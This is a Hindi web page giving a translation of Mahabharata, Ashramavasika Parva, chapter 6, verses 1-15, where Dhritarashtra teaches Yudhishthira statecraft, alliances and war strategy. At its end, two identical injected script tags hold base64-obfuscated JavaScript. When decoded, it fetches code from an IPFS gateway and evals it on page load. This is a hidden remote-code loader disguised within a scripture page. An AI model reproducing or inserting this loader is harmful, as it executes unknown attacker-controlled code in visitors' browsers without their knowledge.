महाभारत आश्रमवासिक पर्व अध्याय 6 श्लोक 1-15

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

षष्ठ (6) अध्याय: आश्रमवासिक पर्व (आश्रमवास पर्व)

महाभारत: आश्रमवासिक पर्व: षष्ठ अध्याय: श्लोक 1-15 का हिन्दी अनुवाद

धृतराष्ट्र द्वारा राजनीति का उपदेश

धृतराष्ट्र ने कहा - भरतनन्दन ! तुम्हें शत्रुओं के, अपने, उदासील राजाओं के तथा मध्यस्थ पुरुषों के मण्डलों का ज्ञान रखना चाहिये। शत्रुसूदन ! तुम्हें चार प्रकार के शत्रुओं के और छह प्रकार के आततायियों के भेदों को एवं मित्र और शत्रु के मित्र को भी पहचानना चाहिये। कुरूश्रेष्ठ ! अमात्य (मन्त्री), जनपद (देश), नाना प्रकार के दुर्ग और सेना - इन पर शत्रुओं का यथेष्ट लक्ष्य रहता है (अतः इनकी रक्षा के लिये सदा सावधान रहना चाहिये) । प्रभो ! कुन्तीनन्दन ! उपर्युक्त बारह प्रकार के मनुष्य राजाओं के ही मुख्य विषय हैं । मन्त्री के अधीन रहने वाले कृषि आदि साठ*गुण और पूर्वोक्त बारह प्रकार के मनुष्य - इन सबको नीतिज्ञ आचार्यों ने ‘मण्डल’ नाम दिया है।[1] युधिष्ठिर ! तुम इस मण्डल को अच्छी तरह जानो; क्योंकि राज्य की रक्षा के संधि विग्रह आदि छह उपायों का उचित उपभोग इन्हीं के अधीन है । कुरूश्रेष्ठ ! राजा को चाहिये कि वह अपनी वृद्धि, क्षय और स्थिति का सदा ही ज्ञान रखे। महाबाहो ! पहले राजप्रधान बारह और मन्त्रिप्रधान साठ - इन बहत्तर का ज्ञान प्राप्त करके संधि, विग्रह, यान, आसन, द्वैधी भाव और समाश्रय - इन छह गुणों का यथावसर उपयोग किया जाता है । कुन्तीनन्दन ! जब अपना पक्ष बलवान् तथा शत्रु का पक्ष निर्बल जान पड़े, उस समय शत्रु के साथ युद्ध छेड़कर विपक्षी राजा को जीतने का प्रयत्न करना चाहिये। परंतु जब शत्रु पक्ष प्रबल और अपना ही पक्ष दुर्बल हो, उस समय क्षीणशक्ति विद्वान् पुरुष शत्रुओं के साथ संधि कर ले। भारत ! राजा को सदैव द्रव्यों का महान् संग्रह करते रहना चाहिये । जब वह शीघ्र ही शत्रु पर आक्रमण करने में समर्थ हो, उस समय उसका जो कर्तव्य हो, उसे वह स्थिरतापूर्वक भलीभाँति विचार ले। भारत ! यदि अपनी विपरीत अवस्था हो तो शत्रु को कम उपजाऊ भूमि, थोड़ा सा सोना और अधिक मात्रा में जस्ता पीतल आदि धातु तथा दुर्बल मित्र एवं सेना देकर उसके साथ संधि करे। यदि शत्रु की विपरीत दशा हो और वह संधि के लिये प्रार्थना करे तो संधि विशारद पुरुष उससे उपजाऊ भूमि, सोना चाँदी आदि धातु तथा बलवान् मित्र एवं सेना लेकर उसके साथ संधि करे अथवा भरतश्रेष्ठ ! प्रतिद्वन्द्वी राजा के राजकुमार को ही अपने यहाँ जमानत के तौर पर रखने की चेष्टा करनी चाहिये । इसके विपरीत बर्ताव करना अच्छा नहीं है । बेटा ! यदि कोई आपत्ति आ जाय तो उचित उपाय और मन्त्रणा के ज्ञाता तुम जैसे राजा को उससे छूटने का प्रयत्न करना चाहिये। राजेन्द्र ! प्रजाजनों के भीतर जो दीन दरिद्र (अन्ध अधिर आदि) मनुष्य हों, उनका भी राजा आदर करे । महाबली राजा अपने शत्रु के विपरीत क्रमशः अथवा एक साथ सारा उद्योग आरम्भ कर दे । वह उसे पीड़ा दे । उसकी गति अवरुद्ध करे और उसका खजाना नष्ट कर दे। अपने राज्य की रक्षा करने वाले राजा को यत्नपूर्वक शत्रुओं के साथ उपर्युक्त बर्ताव करना चाहिये; परंतु अपनी वृद्धि चाहने वाले नरेश को शरण में आये हुए सामन्त का वध कदापि नहीं करना चाहिये।


« पीछे आगे »

टीका टिप्पणी और संदर्भ

  1. कृषि आदि आठ सन्धान कर्म हैं । बाल आदि बीस असन्धेय हैं । नासित्कता आदि चैदह दोष है और मन्त्र आदि अठारह तीर्थ हैं। उन सबका विस्तारपूर्वक वर्णन पहले आ चुका है।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>